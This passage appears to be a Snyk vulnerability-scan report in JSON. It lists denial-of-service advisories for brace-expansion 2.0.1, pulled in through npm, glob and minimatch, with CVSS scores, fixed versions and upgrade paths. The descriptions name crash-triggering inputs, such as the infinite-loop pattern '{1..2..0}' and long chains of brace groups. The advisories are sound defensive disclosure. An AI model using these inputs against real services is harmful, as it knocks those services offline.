"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
